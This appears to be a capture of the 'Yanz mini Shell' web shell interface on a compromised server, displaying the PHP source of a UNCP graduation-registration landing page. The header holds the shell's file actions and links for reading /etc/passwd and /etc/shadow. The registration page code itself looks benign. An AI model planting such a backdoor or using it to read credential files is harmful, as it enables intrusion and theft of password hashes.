Yanz mini Shell

Action

[*] New File
[*] New Folder

Sensitive File

[*] /etc/passwd
[*] /etc/shadow
[*] /etc/resolv.conf

<?php
declare(strict_types=1);
require_once __DIR__ . '/config.php';

$periode      = WISUDA_PERIODE;                              // 'II'
$tahunWisuda  = WISUDA_TAHUN;                                 // '2026'
$periodeFull  = "Wisuda Periode {$periode} Tahun {$tahunWisuda}";

$REG_CLOSE = REG_CLOSE;
$YUDISIUM  = YUDISIUM_DL;
$BERKAS    = BERKAS_DL;

$pageTitle       = esc("Pendaftaran {$periodeFull} – " . UNIV_SHORT);
$pageDescription = esc("Pendaftaran {$periodeFull} " . UNIV_NAME . " dibuka " . REG_OPEN . " – " . REG_CLOSE . ". Formulir online dan pengumpulan berkas fisik paling lambat " . BERKAS_DL . ".");
?>
<!DOCTYPE html>
<html lang="id">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="description" content="<?= $pageDescription ?>">
  <meta name="robots" content="index,follow">
  <title><?= $pageTitle ?></title>

<meta property="og:title"       content="<?= esc("Pendaftaran {$periodeFull} – " . UNIV_SHORT) ?>">
  <meta property="og:description" content="<?= $pageDescription ?>">
  <meta property="og:type"        content="website">
  <meta property="og:url"         content="<?= esc(UNIV_WEB) ?>">

<link rel="stylesheet"
        href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css"
        integrity="sha384-QWTKZyjpPEjISv5WaRU9OFeRpok6YctnYmDr5pNlyT2bRjXh0JMhjY6hW+ALEwIH"
        crossorigin="anonymous">
  
  <link rel="stylesheet"
        href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.11.3/font/bootstrap-icons.min.css">
  
  <link rel="stylesheet" href="assets/css/style.css">

<style>
    .fade-up { opacity:0; transform:translateY(24px); transition:opacity .55s ease,transform .55s ease; }
    .fade-up.visible { opacity:1; transform:translateY(0); }

/* ── Palet dominan kuning ──────────────────────────────────────────── */
    :root {
      --navy: #1f1400;
      --gold: #eab308;
      --gold-light: #fde047;
      --cream: #fffdf2;
      --text-muted: #6b5d23;
      --border: #f2e08a;
    }
    body { background:#fffdf2 !important; color:#3b2f00 !important; }

/* Top bar: latar kuning terang → teks gelap */
    .topbar, .topbar * { color:#1f1400 !important; }
    .topbar { background:linear-gradient(135deg,#facc15 0%,#eab308 60%,#ca8a04 100%) !important; }

/* Navbar: latar krem terang → teks gelap */
    .navbar-custom, .navbar-custom * { color:#1f1400 !important; }
    .navbar-custom { background:#fff6cc !important; border-bottom:3px solid #eab308 !important; }
    .univ-sub { color:#6b5d23 !important; }
    .navbar-custom .btn-outline-light-custom { border-color:#ca8a04 !important; color:#7a5b00 !important; }
    .navbar-custom .btn-cta, .navbar-custom .btn-cta * { color:#1f1400 !important; }

/* Hero: latar gelap → teks terang secara default, aksen kuning menyusul di bawah */
    .hero-body, .hero-body p, .hero-body span, .hero-body small, .hero-body div { color:#fff9e0; }
    .hero-body { background:radial-gradient(ellipse at top, #5a4200 0%, #2b1f00 75%) !important; }
    .hero-title { color:#fff9e0 !important; }
    .hero-title span, .cta-title span { color:#fde047 !important; }
    .hero-desc { color:rgba(255,249,224,.85) !important; }
    .hero-badge, .hero-badge * { color:#fde047 !important; }
    .hero-badge { background:rgba(234,179,8,.22) !important; border:1px solid #eab308 !important; }
    .hero-card { border:1px solid rgba(234,179,8,.4) !important; background:rgba(43,31,0,.72) !important; }
    .hero-card, .hero-card p, .hero-card span, .hero-card div, .hero-card small { color:#fff9e0; }
    .hero-card .btn-outline-light-custom { border-color:#fde047 !important; color:#fde047 !important; }

/* Buttons: selalu latar kuning terang → teks gelap, di konteks manapun */
    .btn-cta, .btn-cta *, .btn-cta-lg, .btn-cta-lg * { color:#1f1400 !important; }
    .btn-cta, .btn-cta-lg { background:linear-gradient(135deg,#facc15,#eab308) !important; border:none !important; font-weight:700 !important; }
    .btn-cta:hover, .btn-cta-lg:hover { background:#facc15 !important; }
    .pulse-ring { background:#eab308 !important; }

/* Stats, badges, timeline (di dalam hero-card gelap) */
    .hero-stat .stat-num { color:#eab308 !important; }
    .hero-stat .stat-lbl { color:rgba(255,249,224,.7) !important; }
    .deadline-badge, .deadline-badge * { color:#fff9e0 !important; }
    .deadline-badge .label { color:rgba(255,249,224,.65) !important; }
    .deadline-badge { border-left:4px solid #eab308 !important; background:rgba(234,179,8,.12) !important; }
    .section-tag { color:#ca8a04 !important; }
    .section-title { color:#1f1400 !important; }
    .section-divider { background:#eab308 !important; }
    .timeline-num { background:#eab308 !important; color:#1f1400 !important; }
    .timeline-content h5 { color:#1f1400 !important; }
    .timeline-content p { color:#5c4a00 !important; }

/* Section terang (Persyaratan, Berkas, Kontak): tint krem, paksa teks gelap */
    .section-req, .section-berkas, .section-contact { background:#fffbea !important; }
    .section-req, .section-berkas, .section-contact,
    .section-req p, .section-berkas p, .section-contact p { color:#5c4a00; }
    .section-req h1, .section-req h2, .section-req h3, .section-req h4, .section-req h5, .section-req h6,
    .section-berkas h1, .section-berkas h2, .section-berkas h3, .section-berkas h4, .section-berkas h5, .section-berkas h6,
    .section-contact h1, .section-contact h2, .section-contact h3, .section-contact h4, .section-contact h5, .section-contact h6 {
      color:#1f1400 !important;
    }

/* Kartu berkas & kontak (latar putih/terang) */
    .berkas-card, .berkas-card * { color:#3b2f00; }
    .berkas-title { color:#1f1400 !important; font-weight:700; }
    .berkas-desc { color:#6b5d23 !important; }
    .contact-card, .contact-card * { color:#3b2f00; }
    .contact-card h6 { color:#1f1400 !important; }
    .contact-card p, .contact-card small { color:#6b5d23 !important; }
    .contact-icon-wrap { background:rgba(234,179,8,.18) !important; color:#ca8a04 !important; }

/* CTA: latar gelap → teks terang */
    .section-cta, .section-cta p { color:#fff9e0 !important; }
    .cta-title { color:#fff9e0 !important; }
    .section-cta { background:radial-gradient(ellipse at top, #5a4200 0%, #2b1f00 75%) !important; }

/* Notice box (latar krem terang) */
    .notice-box, .notice-box * { color:#5c4a00 !important; }
    .notice-box .notice-title { color:#7a5b00 !important; font-weight:700; }
    .notice-box { border-left:4px solid #eab308 !important; background:#fff6cc !important; }

/* Warna Amplop per Fakultas: swatch kotak warna harus tampil (bukan style="" yang diblokir) */
    .envelope-color-indicator .swatch {
      display:inline-block; width:24px; height:24px; border-radius:4px;
      flex-shrink:0; border-width:2px; border-style:solid;
    }
    .envelope-color-indicator strong { font-size:.88rem; color:#1f1400 !important; }
    .envelope-color-indicator span.env-label { font-size:.78rem; margin-left:.4rem; color:#6b5d23 !important; }

/* Accordion FAQ */
    .accordion-button { color:#3b2f00 !important; }
    .accordion-button:not(.collapsed) { background:#fef08a !important; color:#7a5b00 !important; }
    .accordion-button:focus { box-shadow:0 0 0 .2rem rgba(234,179,8,.25) !important; }
    .accordion-body { color:#5c4a00 !important; }

/* Footer: latar gelap → teks terang */
    footer, footer p, footer a, footer span, footer small, footer div { color:rgba(255,249,224,.78) !important; }
    footer h6 { color:#fde047 !important; }
    .footer-logo { color:#fde047 !important; }
    .footer-link:hover { color:#fde047 !important; }
    footer .copy { color:rgba(255,249,224,.55) !important; }

/* Sticky CTA */
    .sticky-cta a, .sticky-cta a * { color:#1f1400 !important; }
    .sticky-cta a { background:linear-gradient(135deg,#facc15,#eab308) !important; }

/* ── Countdown: diperbesar & fokus pada batas akhir 22 Agustus 2026 ─── */
    .deadline-final {
      text-align:center;
      margin-bottom:.6rem;
    }
    .deadline-final .lbl {
      font-size:.72rem;
      text-transform:uppercase;
      letter-spacing:.1em;
      color:rgba(255,255,255,.55);
    }
    .deadline-final .val {
      font-family:'Playfair Display',serif;
      font-size:1.35rem;
      font-weight:700;
      color:#fde047;
    }
    #countdown { display:flex; align-items:center; justify-content:center; gap:.6rem; flex-wrap:wrap; }
    .cd-unit { text-align:center; }
    .cd-num {
      display:block;
      background:rgba(234,179,8,.14);
      border:1.5px solid rgba(234,179,8,.55);
      color:#fde047;
      font-family:'Playfair Display',serif;
      font-size:2.1rem;
      font-weight:700;
      min-width:68px;
      padding:.5rem .7rem;
      border-radius:10px;
    }
    .cd-lbl { display:block; font-size:.72rem; color:rgba(255,255,255,.55); margin-top:.25rem; }
    .cd-sep { font-size:2.2rem; color:#eab308; margin-top:-.6rem; align-self:center; }
    @media (max-width:420px) {
      .cd-num { font-size:1.4rem; min-width:48px; padding:.35rem .45rem; }
      .cd-sep { font-size:1.5rem; }
    }

</style>
</head>
<body>

<div class="topbar">
  <div class="container d-flex justify-content-between align-items-center flex-wrap gap-2">
    <div class="d-flex align-items-center gap-3">
      <span><i class="bi bi-telephone me-1"></i><?= esc(UNIV_PHONE) ?></span>
      <span><i class="bi bi-envelope me-1"></i>
        <a href="mailto:<?= esc(UNIV_EMAIL) ?>"><?= esc(UNIV_EMAIL) ?></a>
      </span>
    </div>
    <div>
      <a href="<?= esc(UNIV_WEB) ?>" target="_blank" rel="noopener">
        <i class="bi bi-globe2 me-1"></i>www.uncp.ac.id
      </a>
    </div>
  </div>
</div>

<nav class="navbar-custom">
  <div class="container">
    <div class="d-flex align-items-center justify-content-between w-100">
      <div class="d-flex align-items-center gap-3">
        <img src="assets/images/logo.png" alt="Logo <?= esc(UNIV_NAME) ?>" class="logo-img">
        <div class="navbar-brand-text">
          <span class="univ-name"><?= esc(UNIV_NAME) ?></span>
          <span class="univ-sub">Kota Palopo – Sulawesi Selatan</span>
        </div>
      </div>
      <div class="d-none d-md-flex align-items-center gap-2">
        <a href="#persyaratan" class="btn-outline-light-custom btn-sm">Persyaratan</a>
        <a href="<?= esc(FORM_URL) ?>" target="_blank" rel="noopener" class="btn-cta btn-sm">
          <i class="bi bi-pencil-square"></i> Daftar Wisuda
        </a>
      </div>
      
      <a href="<?= esc(FORM_URL) ?>" target="_blank" rel="noopener"
         class="btn-cta btn-sm d-md-none" style="font-size:.8rem;padding:.55rem 1.1rem;">
        <i class="bi bi-pencil-square"></i> Daftar
      </a>
    </div>
  </div>
</nav>

<section class="hero" id="hero">
  
  <div class="hero-banner-wrap">
    <img src="assets/images/banner.jpg" alt="Banner <?= esc($periodeFull) ?> <?= esc(UNIV_NAME) ?>">
  </div>
  
  <div class="hero-body">
  <div class="hero-pattern"></div>
  <div class="container position-relative w-100">
    <div class="row align-items-center g-5">

<div class="col-lg-6">
        <div class="hero-badge">
          <i class="bi bi-mortarboard-fill"></i>
          <?= esc("Wisuda Periode {$periode} – Tahun {$tahunWisuda}") ?>
        </div>
        <h1 class="hero-title">
          Pembukaan Pendaftaran Wisuda
          <span><?= esc("Periode {$periode} {$tahunWisuda}") ?></span>
        </h1>
        <p class="hero-desc">
          <?= esc(UNIV_NAME) ?> membuka pendaftaran wisuda bagi seluruh calon wisudawan/wisudawati yang telah menyelesaikan studi. Segera daftarkan diri Anda sebelum batas waktu berakhir.
        </p>
        <div class="d-flex flex-wrap gap-3 align-items-center mb-3">
          <a href="<?= esc(FORM_URL) ?>" target="_blank" rel="noopener" class="btn-cta">
            <i class="bi bi-pencil-square"></i> Daftar Wisuda Sekarang
          </a>
          <a href="#persyaratan" class="btn-outline-light-custom">
            <i class="bi bi-list-check"></i> Lihat Persyaratan
          </a>
        </div>
        <p style="font-size:.8rem;color:rgba(255,255,255,.45);">
          <i class="bi bi-shield-lock me-1"></i>
          Formulir resmi melalui Google Form –
          <a href="<?= esc(FORM_URL) ?>" target="_blank" rel="noopener" style="color:var(--gold-light)">buka formulir pendaftaran</a>
        </p>
      </div>

<div class="col-lg-6">
        <div class="hero-card fade-up">

<div class="mb-3 p-2 rounded-2" style="background:rgba(234,179,8,.15);border:1px solid rgba(234,179,8,.4);">
            <p style="font-size:.78rem;color:#fde047;margin:0;text-align:center;font-weight:600;letter-spacing:.04em;">
              <i class="bi bi-megaphone-fill me-1"></i>
              PENDAFTARAN RESMI DIBUKA
            </p>
          </div>

<div class="mb-3">
            <div class="deadline-final">
               
          </div>

<div class="row g-2 mb-3">
            <div class="col-4">
              <div class="hero-stat">
                <span class="stat-num">19</span>
                <span class="stat-lbl">Agustus – Yudisium</span>
              </div>
            </div>
            <div class="col-4">
              <div class="hero-stat">
                <span class="stat-num">22</span>
                <span class="stat-lbl">Agustus – Tutup</span>
              </div>
            </div>
            <div class="col-4">
              <div class="hero-stat">
                <span class="stat-num"><?= esc($tahunWisuda) ?></span>
                <span class="stat-lbl">Periode <?= esc($periode) ?></span>
              </div>
            </div>
          </div>

<div class="deadline-badge">
            <div class="label"><i class="bi bi-calendar-check me-1"></i>Pendaftaran Dibuka</div>
            <div class="date"><?= esc(REG_OPEN) ?> – <?= esc($REG_CLOSE) ?></div>
          </div>
          <div class="deadline-badge mt-2">
            <div class="label"><i class="bi bi-exclamation-triangle me-1"></i>Batas Yudisium</div>
            <div class="date"><?= esc($YUDISIUM) ?></div>
          </div>
          <div class="deadline-badge mt-2">
            <div class="label"><i class="bi bi-folder2-open me-1"></i>Batas Pengumpulan Berkas</div>
            <div class="date"><?= esc($BERKAS) ?></div>
          </div>

</div>
      </div>

</div>
  </div>
  </div>
</section>

<section class="section-req" id="persyaratan">
  <div class="container">
    <div class="row g-5 align-items-start">

<div class="col-lg-4 fade-up">
        <div class="section-tag"><i class="bi bi-check2-all"></i> Persyaratan</div>
        <h2 class="section-title"><?= esc("Syarat Mengikuti Wisuda Periode {$periode}") ?></h2>
        <div class="section-divider"></div>
        <p style="color:var(--text-muted);font-size:.95rem;">
          Pastikan Anda memenuhi seluruh persyaratan berikut untuk dapat mengikuti <?= esc($periodeFull) ?> di <?= esc(UNIV_NAME) ?>.
        </p>
        <div class="notice-box">
          <div class="notice-title"><i class="bi bi-info-circle me-1"></i>Penting!</div>
          <p>Mahasiswa yang tidak memenuhi salah satu syarat di bawah ini tidak dapat mengikuti prosesi wisuda.</p>
        </div>
      </div>

<div class="col-lg-8">
        <?php
        $requirements = [
          [
            'title' => 'Telah Diyudisium',
            'desc'  => 'Mahasiswa telah diyudisium paling lambat tanggal <strong>' . esc($YUDISIUM) . '</strong>.',
            'icon'  => 'bi-patch-check-fill',
          ],
          [
            'title' => 'Mengisi Formulir Pendaftaran Online',
            'desc'  => 'Mengisi formulir pendaftaran ' . esc($periodeFull) . ' dengan benar melalui formulir resmi paling lambat <strong>' . esc($REG_CLOSE) . '</strong>.',
            'icon'  => 'bi-file-earmark-check-fill',
          ],
          [
            'title' => 'Verifikasi Akademik',
            'desc'  => 'Data pendaftar yang telah mengisi formulir akan diverifikasi oleh <strong>Direktorat Akademik</strong> untuk memastikan kelengkapan syarat akademis.',
            'icon'  => 'bi-building-check',
          ],
          [
            'title' => 'Verifikasi Keuangan',
            'desc'  => 'Telah melunasi <strong>biaya pendidikan</strong>. Data akan diverifikasi oleh Direktorat Keuangan.',
            'icon'  => 'bi-cash-coin',
          ],
          [
            'title' => 'Menyerahkan Berkas Fisik',
            'desc'  => 'Mengumpulkan seluruh berkas fisik ke <strong>Direktorat Kemahasiswaan</strong> paling lambat <strong>' . esc($BERKAS) . '</strong>.',
            'icon'  => 'bi-folder-check',
          ],
        ];

foreach ($requirements as $i => $req): ?>
        <div class="timeline-item fade-up">
          <div class="timeline-num"><?= $i + 1 ?></div>
          <div class="timeline-content">
            <h5><i class="<?= esc($req['icon']) ?> me-2 text-warning" style="font-size:.9rem;"></i><?= esc($req['title']) ?></h5>
            <p><?= $req['desc'] /* sudah di-escape sebelum dirakit di atas */ ?></p>
          </div>
        </div>
        <?php endforeach; ?>
      </div>

</div>
  </div>
</section>

<section class="section-berkas" id="berkas">
  <div class="container">
    <div class="text-center mb-5 fade-up">
      <div class="section-tag justify-content-center"><i class="bi bi-folder2-open"></i> Berkas</div>
      <h2 class="section-title">Daftar Berkas yang Diperlukan</h2>
      <div class="section-divider mx-auto"></div>
      <p style="color:var(--text-muted);max-width:560px;margin:0 auto;">
        Semua berkas fisik dikumpulkan ke <strong>Direktorat Kemahasiswaan</strong> paling lambat
        <strong><?= esc($BERKAS) ?></strong>. Masukkan dalam amplop sesuai warna fakultas.
      </p>
    </div>

<div class="row g-4">
      
      <div class="col-lg-8">
        <div class="row g-0">
          <?php
          $berkas = [
            ['icon'=>'bi-image-fill',      'title'=>'Foto Hitam Putih Toga',    'desc'=>'4 lembar ukuran 4×5 cm. NIM dan Nama ditulis di belakang salah satu foto.', 'color'=>'#c9a84c'],
            ['icon'=>'bi-image',            'title'=>'Foto Berwarna Toga',       'desc'=>'2 lembar ukuran 2×3 cm. NIM dan Nama ditulis di belakang salah satu foto.', 'color'=>'#2d6a4f'],
            ['icon'=>'bi-person-vcard-fill','title'=>'Fotocopy / Scan KTP',      'desc'=>'Kartu Tanda Penduduk yang masih berlaku.',                                   'color'=>'#1b3a6b'],
            ['icon'=>'bi-award-fill',       'title'=>'Fotocopy / Scan Ijazah',   'desc'=>'Ijazah pendidikan terakhir sebelum perguruan tinggi.',                        'color'=>'#7c3aed'],
            ['icon'=>'bi-file-earmark-text-fill','title'=>'Lembar Pengesahan Skripsi','desc'=>'Telah ditandatangani oleh pembimbing, pimpinan program studi dan fakultas.','color'=>'#dc2626'],
            ['icon'=>'bi-receipt',          'title'=>'Bukti Setor Skripsi',      'desc'=>'Bukti setor skripsi di perpustakaan dan program studi.',                      'color'=>'#0891b2'],
            ['icon'=>'bi-book-fill',        'title'=>'Surat Bebas Pustaka',       'desc'=>'Surat keterangan bebas pustaka dari perpustakaan universitas.',               'color'=>'#059669'],
          ];
          foreach ($berkas as $b): ?>
          <div class="col-md-6">
            <div class="berkas-card">
              <div class="berkas-icon" style="background:<?= esc($b['color']) ?>1a;color:<?= esc($b['color']) ?>;">
                <i class="<?= esc($b['icon']) ?>"></i>
              </div>
              <div>
                <div class="berkas-title"><?= esc($b['title']) ?></div>
                <div class="berkas-desc"><?= esc($b['desc']) ?></div>
              </div>
            </div>
          </div>
          <?php endforeach; ?>
        </div>
      </div>

<div class="col-lg-4 fade-up">
        <div class="bg-white border rounded-3 p-4 h-100" style="border-color:var(--border)!important;">
          <h5 style="font-family:'Playfair Display',serif;color:var(--navy);margin-bottom:1rem;">
            <i class="bi bi-envelope-fill me-2" style="color:var(--gold);"></i>
            Warna Amplop per Fakultas
          </h5>
          <p style="font-size:.85rem;color:var(--text-muted);margin-bottom:1.2rem;">
            Masukkan seluruh berkas ke dalam amplop plastik berkancing/bertali sesuai warna berikut:
          </p>
          <div class="envelope-color-indicator d-flex flex-column gap-2">
            <?php
            $envelopes = [
              ['color'=>'#e2e8f0','border'=>'#adb5bd','label'=>'Putih','fak'=>'FKIP'],
              ['color'=>'#d4edda','border'=>'#28a745','label'=>'Hijau','fak'=>'FAPERTA'],
              ['color'=>'#cfe2ff','border'=>'#0d6efd','label'=>'Biru','fak'=>'FSAINS'],
              ['color'=>'#f8d7da','border'=>'#dc3545','label'=>'Merah','fak'=>'FTKOM'],
            ];
            foreach ($envelopes as $env): ?>
            <div class="d-flex align-items-center gap-3 p-2 rounded"
                 style="border:1px solid <?= esc($env['border']) ?>;background:<?= esc($env['color']) ?>20;">
              <span class="swatch" style="background:<?= esc($env['color']) ?>;border-color:<?= esc($env['border']) ?>;"></span>
              <div>
                <strong><?= esc($env['fak']) ?></strong>
                <span class="env-label">Amplop <?= esc($env['label']) ?></span>
              </div>
            </div>
            <?php endforeach; ?>
          </div>

<div class="notice-box mt-3">
            <div class="notice-title"><i class="bi bi-geo-alt me-1"></i>Lokasi Pengumpulan</div>
            <p><strong>Direktorat Kemahasiswaan</strong><br>
               Deadline: <strong><?= esc($BERKAS) ?></strong>
            </p>
          </div>
        </div>
      </div>
    </div>
  </div>
</section>

<section class="section-cta" id="daftar">
  <div class="container position-relative">
    <div class="row justify-content-center text-center">
      <div class="col-lg-7 fade-up">
        <div class="section-tag justify-content-center" style="color:var(--gold-light);">
          <i class="bi bi-mortarboard-fill"></i> Ayo Daftar
        </div>
        <h2 class="cta-title">
          Jadilah Bagian dari<br>
          <span><?= esc("Wisudawan/Wisudawati UNCP {$tahunWisuda}") ?></span>
        </h2>
        <p style="color:rgba(255,255,255,.7);max-width:480px;margin:1.2rem auto 2.2rem;">
          Klik tombol di bawah untuk mengisi formulir pendaftaran wisuda secara online. Pendaftaran dibuka hingga <?= esc($REG_CLOSE) ?>.
        </p>
        <div class="position-relative d-inline-block">
          <div class="pulse-ring" style="z-index:0;"></div>
          <a href="<?= esc(FORM_URL) ?>" target="_blank" rel="noopener" class="btn-cta-lg position-relative" style="z-index:1;">
            <i class="bi bi-pencil-square fs-5"></i>
            Daftar Wisuda Sekarang
            <i class="bi bi-arrow-right"></i>
          </a>
        </div>
        <p style="font-size:.78rem;color:rgba(255,255,255,.35);margin-top:1.4rem;">
          <i class="bi bi-lock me-1"></i>
          Formulir resmi – data Anda aman. Hanya dapat diakses oleh panitia wisuda UNCP.
        </p>
      </div>
    </div>
  </div>
</section>

<section class="section-req" id="faq" style="background:var(--cream);">
  <div class="container">
    <div class="row justify-content-center">
      <div class="col-lg-8 text-center mb-5 fade-up">
        <div class="section-tag justify-content-center"><i class="bi bi-question-circle"></i> FAQ</div>
        <h2 class="section-title">Pertanyaan yang Sering Diajukan</h2>
        <div class="section-divider mx-auto"></div>
      </div>
      <div class="col-lg-8 fade-up">
        <div class="accordion accordion-custom" id="accordionFaq">
          <?php
          $faqs = [
            [
              'q' => 'Kapan periode pendaftaran wisuda dibuka?',
              'a' => "Pendaftaran {$periodeFull} dibuka mulai tanggal " . REG_OPEN . " sampai dengan " . REG_CLOSE . ".",
            ],
            [
              'q' => 'Kapan batas waktu yudisium?',
              'a' => 'Calon wisudawan wajib telah diyudisium paling lambat tanggal ' . YUDISIUM_DL . '.',
            ],
            [
              'q' => 'Apakah saya wajib mengisi formulir pendaftaran online?',
              'a' => 'Ya. Pengisian formulir pendaftaran online adalah langkah wajib bagi setiap calon wisudawan dan harus diselesaikan paling lambat ' . REG_CLOSE . '. Gunakan hanya tautan formulir resmi yang tersedia di halaman ini.',
            ],
            [
              'q' => 'Ke mana dan sampai kapan berkas fisik dikumpulkan?',
              'a' => 'Seluruh berkas fisik dikumpulkan langsung ke loket Direktorat Kemahasiswaan ' . UNIV_SHORT . ' paling lambat tanggal ' . BERKAS_DL . '.',
            ],
            [
              'q' => 'Apa yang harus dilakukan jika belum melunasi biaya pendidikan?',
              'a' => 'Segera selesaikan pembayaran, karena status keuangan akan diverifikasi oleh Direktorat Keuangan. Mahasiswa yang tidak lolos verifikasi keuangan tidak dapat mengikuti wisuda.',
            ],
            [
              'q' => 'Bagaimana cara mengetahui status verifikasi pendaftaran saya?',
              'a' => 'Panitia wisuda akan menginformasikan status verifikasi melalui program studi masing-masing atau pengumuman resmi universitas. Pastikan Anda memantau informasi dari program studi secara berkala.',
            ],
          ];
          foreach ($faqs as $idx => $faq):
            $faqId = 'faq' . $idx;
          ?>
          <div class="accordion-item">
            <h3 class="accordion-header">
              <button class="accordion-button <?= $idx > 0 ? 'collapsed' : '' ?>"
                      type="button"
                      data-bs-toggle="collapse"
                      data-bs-target="#<?= esc($faqId) ?>"
                      aria-expanded="<?= $idx === 0 ? 'true' : 'false' ?>"
                      aria-controls="<?= esc($faqId) ?>">
                <i class="bi bi-chevron-right me-2" style="font-size:.8rem;transition:transform .25s;"></i>
                <?= esc($faq['q']) ?>
              </button>
            </h3>
            <div id="<?= esc($faqId) ?>"
                 class="accordion-collapse collapse <?= $idx === 0 ? 'show' : '' ?>"
                 data-bs-parent="#accordionFaq">
              <div class="accordion-body" style="font-size:.92rem;color:var(--text-muted);">
                <?= esc($faq['a']) ?>
              </div>
            </div>
          </div>
          <?php endforeach; ?>
        </div>
      </div>
    </div>
  </div>
</section>

<section class="section-contact" id="kontak">
  <div class="container">
    <div class="text-center mb-5 fade-up">
      <div class="section-tag justify-content-center"><i class="bi bi-headset"></i> Hubungi Kami</div>
      <h2 class="section-title">Informasi &amp; Kontak Akademik</h2>
      <div class="section-divider mx-auto"></div>
      <p style="color:var(--text-muted);max-width:500px;margin:0 auto;">
        Butuh bantuan? Hubungi kami melalui saluran berikut.
      </p>
    </div>

<div class="row g-4 justify-content-center">
      <?php
      $contacts = [
        ['icon'=>'bi-telephone-fill', 'title'=>'Telepon',      'info'=>esc(UNIV_PHONE), 'sub'=>'Senin – Jumat, 08.00 – 16.00 WITA'],
        ['icon'=>'bi-envelope-fill',  'title'=>'Email',         'info'=>esc(UNIV_EMAIL), 'sub'=>'Direktorat Akademik UNCP'],
        ['icon'=>'bi-geo-alt-fill',   'title'=>'Alamat',        'info'=>esc(UNIV_ADDR),  'sub'=>'Kampus Utama UNCP'],
        ['icon'=>'bi-globe2',         'title'=>'Website Resmi', 'info'=>esc(UNIV_WEB),   'sub'=>'Portal Informasi UNCP'],
      ];
      foreach ($contacts as $c): ?>
      <div class="col-sm-6 col-lg-3 fade-up">
        <div class="contact-card">
          <div class="contact-icon-wrap">
            <i class="<?= esc($c['icon']) ?>"></i>
          </div>
          <h6><?= $c['title'] ?></h6>
          <p><?= $c['info'] ?><br><small><?= $c['sub'] ?></small></p>
        </div>
      </div>
      <?php endforeach; ?>
    </div>
  </div>
</section>

<footer>
  <div class="container">
    <div class="row g-4 mb-4">
      <div class="col-lg-4">
        <div class="d-flex align-items-center gap-3 mb-3">
          <img src="assets/images/logo.png" alt="Logo UNCP" style="width:40px;height:40px;object-fit:contain;filter:drop-shadow(0 2px 4px rgba(0,0,0,.4));">
          <div>
            <div class="footer-logo"><?= esc(UNIV_NAME) ?></div>
            <div class="footer-sub"><?= esc(UNIV_ADDR) ?></div>
          </div>
        </div>
        <p style="font-size:.82rem;color:rgba(255,255,255,.4);max-width:280px;line-height:1.6;">
          Informasi resmi <?= esc($periodeFull) ?> <?= esc(UNIV_NAME) ?>.
        </p>
      </div>
      <div class="col-lg-2 col-sm-4">
        <h6>Navigasi</h6>
        <a href="#hero"         class="footer-link">Beranda</a>
        <a href="#persyaratan"  class="footer-link">Persyaratan</a>
        <a href="#berkas"       class="footer-link">Berkas</a>
        <a href="#faq"          class="footer-link">FAQ</a>
        <a href="#kontak"       class="footer-link">Kontak</a>
      </div>
      <div class="col-lg-3 col-sm-4">
        <h6>Tautan Penting</h6>
        <a href="<?= esc(FORM_URL) ?>"       target="_blank" rel="noopener" class="footer-link">
          <i class="bi bi-pencil-square me-1"></i>Formulir Pendaftaran
        </a>
        <a href="<?= esc(UNIV_WEB) ?>"       target="_blank" rel="noopener" class="footer-link">
          <i class="bi bi-globe2 me-1"></i>Website UNCP
        </a>
        <a href="mailto:<?= esc(UNIV_EMAIL) ?>" class="footer-link">
          <i class="bi bi-envelope me-1"></i>Email Akademik
        </a>
      </div>
      <div class="col-lg-3 col-sm-4">
        <h6>Jadwal Penting</h6>
        <p style="font-size:.82rem;color:rgba(255,255,255,.45);line-height:2;">
          <i class="bi bi-calendar2-plus me-1" style="color:var(--gold);"></i>Dibuka: <?= esc(REG_OPEN) ?><br>
          <i class="bi bi-calendar2-check me-1" style="color:var(--gold);"></i>Yudisium: <?= esc($YUDISIUM) ?><br>
          <i class="bi bi-calendar2-x me-1"     style="color:var(--gold);"></i>Tutup: <?= esc($REG_CLOSE) ?><br>
          <i class="bi bi-folder2 me-1"          style="color:var(--gold);"></i>Berkas: <?= esc($BERKAS) ?>
        </p>
      </div>
    </div>
    <hr>
    <div class="d-flex flex-wrap justify-content-between align-items-center gap-2">
      <p class="copy mb-0">
        &copy; <?= esc((string)TAHUN) ?> <?= esc(UNIV_NAME) ?>. Hak cipta dilindungi undang-undang.
      </p>
      <p class="copy mb-0">
        <i class="bi bi-shield-lock me-1"></i>Halaman ini diamankan dengan HTTPS
      </p>
    </div>
  </div>
</footer>

<div class="sticky-cta" id="sticky-cta">
  <a href="<?= esc(FORM_URL) ?>" target="_blank" rel="noopener">
    <i class="bi bi-pencil-square"></i>
    Daftar Wisuda
  </a>
</div>

<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/js/bootstrap.bundle.min.js"
        integrity="sha384-YvpcrYf0tY3lHB60NNkmXc5s9fDVZLESaAA55NDzOxhy9GkcIdslK1eN7N6jIeHz"
        crossorigin="anonymous"></script>


<script nonce="<?= esc(CSP_NONCE) ?>">
(function () {
  var TARGET = Date.UTC(<?= CD_YEAR ?>, <?= CD_MONTH - 1 ?>, <?= CD_DAY ?>, <?= CD_HOUR ?>, <?= CD_MIN ?>, <?= CD_SEC ?>);
  var VALID  = <?= CD_VALID ? 'true' : 'false' ?>;
  var el     = document.getElementById('countdown');
  if (!el) return;

function pad(n) { return String(n).padStart(2, '0'); }

function render() {
    var now  = Date.now();
    var diff = TARGET - now;

if (!VALID || diff <= 0) {
      el.innerHTML =
        '<span style="color:#fde047;font-size:.95rem;font-weight:600;">' +
        '<i class="bi bi-lock-fill me-1"></i>Pendaftaran Telah Ditutup</span>';
      return;
    }

var days  = Math.floor(diff / 86400000);
    var hours = Math.floor((diff % 86400000) / 3600000);
    var mins  = Math.floor((diff % 3600000)  / 60000);
    var secs  = Math.floor((diff % 60000)    / 1000);

el.innerHTML =
      '<div class="cd-unit"><span class="cd-num">' + pad(days)  + '</span><span class="cd-lbl">Hari</span></div>'  +
      '<span class="cd-sep">:</span>' +
      '<div class="cd-unit"><span class="cd-num">' + pad(hours) + '</span><span class="cd-lbl">Jam</span></div>'   +
      '<span class="cd-sep">:</span>' +
      '<div class="cd-unit"><span class="cd-num">' + pad(mins)  + '</span><span class="cd-lbl">Menit</span></div>' +
      '<span class="cd-sep">:</span>' +
      '<div class="cd-unit"><span class="cd-num">' + pad(secs)  + '</span><span class="cd-lbl">Detik</span></div>';
  }

render();
  setInterval(render, 1000);
})();
</script>
<script src="assets/js/main.js"></script>

